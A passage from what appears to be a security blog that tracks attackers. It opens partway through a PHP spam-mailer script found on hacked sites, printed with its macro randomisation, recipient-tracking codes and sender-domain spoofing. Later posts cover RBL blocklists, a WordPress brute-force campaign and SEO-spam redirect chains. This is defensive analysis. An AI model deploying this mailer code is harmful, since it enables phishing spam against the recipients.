$head .= "Content-Type: multipart/alternative;";
$head .= "boundary=\"----------".$un."\"\n\n";

$plain = strip_tags($text);
$zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";

$zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
$zag .= "------------".$un."--";

if(count($_FILES) > 0)
{
foreach($_FILES as $file)
{
if(file_exists($file["tmp_name"]))
{
$f = fopen($file["tmp_name"], "rb");
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".$file["name"]."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".$file["name"]."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
fclose($f);
}
}
}

if(@mail($to, $subj, $zag, $head))
{
if(!empty($_POST['verbose']))
echo "SENDED";
}
else
{
if(!empty($_POST['verbose']))
echo "FAIL";
}
}

function alter_macros($content)
{
preg_match_all('#{(.*)}#Ui', $content, $matches);

for($i = 0; $i < count($matches[1]); $i++)
{

$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}

function text_macros($content)
{
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$word = generate_word($rand);

$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}

preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$count = $matches[1][$i];

$word  = generate_word($count);

$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}

return $content;
}

function xnum_macros($content)
{
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;

$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}

function num_macros($content)
{
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}

function generate_word($length)
{
$chars = 'abcdefghijklmnopqrstuvyxz';
$numChars = strlen($chars);
$string = '';
for($i = 0; $i < $length; $i++)
{
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}

function pass_macros($content, $passes)
{
$pass = array_pop($passes);

return str_replace("[PASS]", $pass, $content);
}

function fteil_macros($content, $fteil)
{
return str_replace("[FTEIL]", $fteil, $content);
}

function from_host($content)
{
if(empty($replace))
{
$replace = (!empty($_SERVER['SERVER_ADMIN'])) ? $_SERVER['SERVER_ADMIN'] : NULL;
$pos = strpos($replace, "@");
$replace = substr($replace, $pos);
}

$replace = (empty($replace) AND ! empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : NULL;
$replace = (empty($replace) AND ! empty($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : NULL;

$domains = @explode(".", $replace);
if(!empty($domains))
{
$level1 = @array_pop($domains);
$level2 = @array_pop($domains);
$replace = $level2.".".$level1;
}

return str_replace("[FHOST]", $replace, $content);
}

The [FTEIL] is replaced with the first Part/Code of $emails like this „svhIcxxxxxxxZkw==“, so he Spamer can see, which E-Mailaddress has open the Link.

 

Currently different IPs from AE (like this 31.184.xxx.xxx) makes the POST-Requests and sent/trigger the Spam-Scripts.

 

In the Messages-Part, the Phishing-URL is hard coded insert.

When i was a Spamer, i would set a List of phishing-urls and try to check it, if the phishing-site blocked or online, so you have less working ūüėČ

 

If you need more Details, please contact us.

-google-ads-
2013
06.13

Currently we have 3 RBLDNS-Server which have the Attacker-IPs listen from the last 48 Hours after the last Attack in some Categories:
http://www.blocklist.de/en/rbldns.html

Name / URL Description / Content
apache.bl.blocklist.de Apache, RFI, w00tw00t, SQL-Injection, Forum-Spam + http://honeystats.info/
bruteforcelogin.bl.blocklist.de All IPs, which attacks Joomla, WordPress and other Web-Logins with Brute-Force
bl.blocklist.de All IP-Addresses (all Services)
all.bl.blocklist.de All IP-Addresses (all Services)
ftp.bl.blocklist.de FTP -> only IP’s there runs FTP Brute-Force-Attacks.
imap.bl.blocklist.de imap, pop3, sasl, webmail-Logins….
mail.bl.blocklist.de mail/postfix, 5xx-Errors (Blacklist-Entrys), Relaying…
ssh.bl.blocklist.de IPs there runs SSH-Attacks.
sip.bl.blocklist.de IPs, who has try Sip/Asterisk Brute-Force-Login-Attacken.

On the usa-Server we have active the rbldns-Stats. The rbldns generate the Count of Queries, Count of Matches and the Bytes which have received and send.
The RBL-Server gets each 10 Minutes a summery of:
19 M Queries
1 M matches
The value varies on the Weekend and Attack-Runs.

Also the RBL-Servers returns in the TXT-Record the Service-Name like „ssh“ and the Unixtimestamp of last reported Attack:
Infected System (Service: apacheddos, Last-Attack: 1370990468), see http://www.blocklist.de/en/view.html?ip=$ip
In time to time, there was over 20.000 IPs in the complete List listen.

-google-ads-
2013
06.07

The Brute-Force Login Attack on WordPress and Joomla run since a few weeks:

http://support.hostgator.com/articles/specialized-help/technical/wordpress/wordpress-login-brute-force-attack

We have currently listen 16582 IP-Address on the bruteforcelogin-List

In the last Days, the Attackers use in the most Requests (think over 90%) the UserAgent „Firefox/19.0“:

189.143.62.117 - - [06/Jun/2013:17:51:46 +0200] "POST wp-login.php HTTP/1.0" 200 4555 "http://referer-domain.tld/" "Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0"

We have found on one Site a little bit Malware-Code, but there was not complete. If you received a Report from us and found the Malware-Script, please send them to us.

Thank you!

 

-google-ads-
2013
06.02

After the last „URL-Reporting“ there was used most *.pl Domains, but now we have found over 9,181 URLs from *.blog.com which was abused by SEO-Spamer to get Traffic by good sites over blog.com to there „Money-Sites“.

On there Moneysites, he offer to make money over clickbank with Affiliates.

 

avervurm.blog.com  avervurm.blog.com2 avervurm.blog.com3avervurm.blog.com4

 

Other blog.com URLs, but with the same content or a little bit different content, but all redirects to clickbank.com:

grinevaskij1970.blog.com grinevaskij1970.blog.com2pirevilka.blog.com

 

Some Links go to the „Money-Site“ of the SEO-Spamer over tinyurl.com: „hxxp://tinyurl.com/cszvyuf/go8.php?aHR0cDovL2p1bDRvbm9rODUuZWJheWNlcnQuaG9wLmNsaWNrYmFuay5uZXQ=“

And then to: „http://www.jobreplacementformula.com/clickbank.php?hop=codelocker“ or direct to clickbank.com

jobreplacementformula.comjobreplacementformula.com2

 

And on there, all Links goes to hxxp://www.lottomasterformula.com like this:

hxxp://www.lottomasterformula.com/dlguard/dlg/sell.php?prodData=cb%2C6

and then to clickbank.com:

hxxps://ssl.clickbank.net/order/orderform.html?time=1370165174&vvvv=6562617963657274&item=1&detail=Job+Replacement+Formula+67&vvar=detail%3DJob+Replacement+Formula+67%26dlgp%3D6&oaref=01.09B9DCCD9E0E71A5790AC3235281919F0D991A7DEB89597DD4E6AA7D1731DA971A6BC929777E2ED95D5AF51F83B0AA90A0AF6050AB48256725481747D07F78E1ECBF3B2FC242EF671C76543A63F84442719A7B93

From there, you have an order-formular to buy the Book how can you make many with clickbank.com for only „$67.00“:

clickbank.com

 

 

 

 

 

 

On the bottom there is a Text from a Banner with „codelocker.blogcom“ which was not replaced from a JavaScript in the Chrome-Browser under the VirtualMachine:

clickbank.com2

 

 

 

 

 

 

We have report the URLs over the Ticket-System to blog.com and wait for an response. At this time, i don’t think, that blog.com uses clickbank.com to make adds on there site….

In the most case of sites with user generated content, the urls will be disabled/deleted.

Currently we have over 2,677,883 URLs in our Database which was posted by Spamer in our Honeypot-Systems. We look in the next time how many new urls come daily into and add a rbl-List with these URLS.

Have interests on this URLs, please contact us.

 

-google-ads-